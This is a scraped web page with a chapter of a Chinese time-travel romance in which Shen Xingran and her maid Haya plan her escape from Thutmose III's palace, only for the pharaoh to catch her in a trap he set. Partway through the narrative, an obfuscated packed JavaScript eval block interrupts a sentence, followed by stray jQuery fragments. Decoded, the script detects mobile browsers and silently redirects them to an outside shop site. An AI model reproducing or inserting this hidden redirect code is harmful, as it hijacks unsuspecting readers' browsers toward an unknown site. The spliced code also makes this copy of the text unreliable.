“贵人,夜凉了,您早些歇息吧。”哈娅端着温热的椰枣羹轻步走入,生怕惊扰了窗边沉默的女子。
沈星燃转身,面色平静无波,唯有眼底藏着一点破釜沉舟的决绝光亮。
她上前一步,轻轻握住哈娅的手,掌心的温度让这位侍女心头一颤。她将声音压得极低,却异常坚定,“哈娅,我要离开这里,永远离开。”
“哐当——”哈娅手中的陶碗摔落,小脸瞬间惨白,慌忙抬手捂住沈星燃的嘴,声音抖得不成调:“贵人!不可胡说!这种话若被侍卫听见,是要掉脑袋的!陛下那么在意您,您为何要离开?”
“在意?”沈星燃缓缓拉下她的手,她当然知道他的在意,就是如此,她才不得不走,唇角勾起一抹凄冷而清醒的笑,她声音轻浅,“我不属于这里,我必须回去。今日对你说这些,不是征求你的同意。而是告诉你,我的决心——我需要你帮忙。”
哈娅“噗通”一声跪倒在地,死死抓住沈星燃的裙摆,“贵人!您别傻了!王宫如天罗地网,您根本逃不出去!一旦被陛下发现,您会被处死,奴婢也会被连累!”
“我知道危险。”沈星燃蹲下身,与她平视,眼神清澈坚定,无半分慌乱,无半分退缩,“但我不能一辈子困在这里。哈娅,你愿不愿意信我一次?若成功,我带你离开这吃人的深宫,给你自由。若失败,所有罪责我一人承担,绝不牵连你分毫。”
她的平静比任何激动的誓言都有力量,那是绝境之中仍不肯低头的傲骨,是沉沦之际仍向着光亮的执念。
哈娅望着沈星燃眼底那束从未熄灭的光,心中挣扎如潮。
她是底比斯落寞贵族之女,见惯了后宫的冷酷血腥、尊卑贵贱,早已认命侍奉王室。可沈星燃的出现像一道光,照亮了她灰暗的人生。这位来自异乡的女子善良、坚韧、平等待她,从未将她视作卑贱的奴婢。
沉默许久,她咬牙点头,带着破釜沉舟的决绝:“奴婢信您!从见到贵人的第一日起,奴婢就愿一辈子追随您!贵人要逃,奴婢便助您!正好家兄是底比斯麦德察人,我们好好合计!”
沈星燃心中一暖,伸手将她扶起,眼眶微热。
在这异国深宫,这份毫无保留的信任,成了她逃亡路上唯一的微光,“我会记住你们的好。”她轻声承诺,随即敛去所有情绪,如一位胸有成竹的谋划者,“法老近日忙于平定附属国余乱、应对巴比伦使者,夜间多在议政殿处理政务,守卫相对松懈。三日后是每个月的新月祭祀,按礼制,王宫大部分守卫会调往神殿维持秩序,那便是我们唯一的机会。”
哈娅屏住呼吸,认真聆听每一个字,不敢有半分遗漏。
“我需要你帮我做四件事。”沈星燃压低声音,每一步都在心底推演过无数遍,“第一,为我准备一套最低等的侍女服饰,越朴素越好,不能引起任何人注意。第二,趁外出采买,在别院西侧临近尼罗河的灌木丛藏一套平民衣物、一包干粮与一袋黄金。第三,摸清湖心别院到王宫侧门的路线,记住每处守卫换岗时间,务必准确。最后,有劳你的兄长帮我预定一艘船只。”
一步错,便是陷哈娅于万劫不复。她赌不起,也输不起。
哈娅用力点头,抹去泪水,“贵人放心,奴婢一定办妥!绝不露出半分破绽!”
沈星燃轻轻颔首,重新望向窗外沉沉夜色。
刚入住湖心别院时,她便观察起王宫的守卫情况。
三日后是新月例行祭祀,那是她最有可能逃离这座囚笼的唯一机会。她不知道等待自己的,是自由还是死亡,可她别无选择。
与其在深宫之中耗尽灵魂、磨灭希望。不如拼死一搏。哪怕粉身碎骨,她也要朝着回家的方向迈出这一步。
只是图特摩斯三世——有幸相逢,深陷其中,可终究隔了三千五百年的岁月长河,隔了血海与梦魇,注定殊途,也终成陌路。
三日光阴,如尼罗河水悄无声息淌过,转瞬即逝。
新月祭祀之日如期而至,卡纳克神殿香烟缭绕,圣火熊熊腾空,祭司们身披素白祭袍,吟唱着古老晦涩的祝颂之音,庄严肃穆间,裹着一层令人心悸的神圣威压。整座底比斯都沉浸在肃穆的氛围里,连风都放缓了脚步。
天色刚暗,神殿方向便传来悠扬绵长的神乐。一队队金甲侍卫手持长矛,整齐划一地赶往神殿值守护卫,王宫各处守卫果然比平日稀疏大半,正是沈星燃与哈娅暗中筹谋已久的最佳时机。
湖心别院内,一切平静如常。
这般规格的祭祀,以沈星燃如今的身份,本就没有资格参与。她依着平日的作息安静用餐,随后便以身体倦怠为由,屏退所有侍从,只留哈娅一人在侧。
殿内烛火昏昧摇曳,映着她平静无波的侧脸,无人知晓这具单薄身躯里,藏着何等破釜沉舟、孤注一掷的勇气。
“贵人,全都准备妥了。”
哈娅眼底噙着不舍与慌乱,快步走到沈星燃身侧,将声音压得极低,从怀中取出一套粗糙灰布侍女服饰,“换洗衣物与干粮、金铢已经藏在西侧灌木丛中。半柱香后,正是西侧小门守卫换岗的时候,一刻也不能耽误。”
沈星燃伸手接过衣物,指尖微凉,却稳得不见半分颤抖。
她深吸一口气,压下心底最后一丝涟漪,迅速换上那身粗布侍女服,将长发简单束起,又以黛色矿粉轻描眉眼,刻意掩去异域轮廓的惊艳,只余下寻常侍女的普通模样。褪去所有珠宝修饰,此刻的她,混在宫婢之中绝不会被多看一眼。
“贵人,您真的要走吗?”哈娅望着她,泪水终于忍不住滚落,“陛下今夜应该在神殿主持祭祀。他对您用心至此,一旦发觉您不在,必定震怒,千里追缉!”
“我必须走。”沈星燃抬手,轻轻抚了抚哈娅的肩头,眼神沉静而决绝,“你留在别院照常行事,不必为我担忧。若我顺利脱身,他日必有相见之期,我定不负你。若我事败被擒,你便装作一无所知,只管保全自身。”
她不能拖累这个在深宫之中,唯一给她温暖与忠诚的少女。
交代完毕,沈星燃不再多言,借着夜色掩护,蹑足从别院西侧角门悄然溜出。那扇角门早已被哈娅提前松开,轻轻一推便无声开启,未惊起半分声响。
夜色如墨,树影婆娑,夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616695|205802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
风卷起青莎,与尼罗河畔的湿气笼罩整座王宫。
沈星燃垂首,紧贴廊柱阴影处疾行。她脚步轻快,目不斜视,刻意避开巡逻侍卫的视线范围。
她将呼吸压至最轻,心脏跳得几乎冲破胸腔,却强迫自己保持绝对冷静,每一步都踏着事先记熟的路线,不敢有半分偏差。
一路上,偶尔有侍卫快步走过,皆是匆匆赶往神殿值守,无人留意这个不起眼的低等侍女。
沈星燃掌心冷汗涔涔,却始终未停下脚步。
穿过王宫侧门,距离西侧灌木丛越来越近,距离藏好的平民衣物越来越近,距离她魂牵梦萦的自由与归途越来越近。
她几乎能看见希望的曙光在夜色尽头闪烁——哈娅家兄早已为她暗中安排好船只,只要抵达尼罗河畔,乘船顺流往东北方向去,便能抵达米吉多,那是她坠落异世的起点,亦是她唯一可能重返现代的契机。
就在沈星燃快步走到灌木丛旁,正要弯腰取出藏好的物品之际——
“星燃。”一道清冽低沉,裹着寒意的嗓音骤然划破夜控,如同来自地狱深渊沉沉响起。
沈星燃浑身僵住,血液仿佛在瞬间凝固,双脚像被焊在原地。这个声音她刻骨铭心,永生难忘——是图特摩斯。
她知道自己在劫难逃了。
他是埃及的王,习惯了所有一切尽在掌控。而她的逃亡于他而言,不是追寻自由,是忤逆,是背叛,是狠狠甩在他脸上的一记耳光。
事到如今,她只能缓缓抬头,僵硬转身去应对。
沉沉夜色之中,一道宛若神祗的身影,骑着乌黑神骏停在前方不远处。他并未身着祭祀礼服,而是一身米色常服,墨发如流泉垂落,面容清俊优雅,深邃黑眸死死锁定她,眼底翻涌着足以焚毁一切的震怒与失望。
他根本没有前往神殿主持祭祀。
自始至终,他都在等她自投罗网。
无数侍卫如鬼魅般,从四周暗影中涌出,瞬间便将沈星燃围拢,让她插翅难飞。
原来,所谓的守卫松懈,祭祀良机,从头到尾都是他布下的一场局。他早已看穿她的心思,洞悉她的谋划,冷眼旁观地看她一步步踏入陷阱,亲眼看着她拼尽全力逃亡,最终却空忙一场。
沈星燃僵立原地,浑身冰寒,所有镇定与勇气在这一刻轰然崩塌。逃亡的希望在绝对的王权与实力面前,碎得彻彻底底,片甲不留。
她输了。
输得一败涂地。
图特摩斯策马缓缓上前,马蹄落地的每一声轻响,都如同重锤,狠狠砸在沈星燃的心尖。
四周侍卫尽数垂首,连呼吸都不敢加重,整片空间死寂得令人窒息。
他停在她面前,居高临下地俯视着她,目光落在她身上粗糙简陋的侍女服上,落在她强作镇定却难掩慌乱的眼眸上,清冽的嗓音裹着不易察觉的失落,“你要干什么?”
事已至此,沈星燃咬紧牙关,沉默不语,只是抬眼死死的看着他,眼底有绝望、有不甘。她知道,此刻在图特摩斯面前求饶无用,卑微无用,眼泪更无用。
她唯一后悔的,是连累了哈娅。